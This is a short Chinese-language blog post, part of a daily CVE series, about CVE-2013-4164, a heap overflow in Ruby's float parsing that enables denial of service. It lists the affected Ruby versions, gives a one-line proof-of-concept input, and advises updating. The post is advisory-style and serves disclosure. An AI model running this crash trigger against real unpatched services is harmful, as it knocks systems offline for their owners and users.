iT邦幫忙

DAY 17
0

天天CVE系列 第 17

Ruby 浮點數解析錯誤 -- CVE-2013-4164

  • 分享至 

  • xImage
  •  

簡介

當某些版本的 Ruby 在處理字串轉成浮點數時, parser 會造成 heap overflow,進而造成 DoS。

Warning

  • Ruby 1.8 patchlevel 230 之後所有的 1.8 版本。
  • Ruby 1.9 patchlevel 484 之前所有的 1.9 版本。
  • Ruby 2.0 patchlevel 353 之前所有的 2.0 版本。
  • trunk revision 43780 之前所有的 Ruby。

PoC

Ruby ("1."+"1"*300000).to_f*9

結論

更新 Ruby 。

參考資料:https://www.ruby-lang.org/zh_tw/news/2013/11/22/heap-overflow-in-floating-point-parsing-cve-2013-4164/

PoC 來源:http://exp.tw/writing/show/30


上一篇
ZyXEL SBG-3300-N Stored XSS -- CVE-2014-7277
下一篇
SSLv3 嚴重漏洞 -- CVE-2014-3566
系列文
天天CVE30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言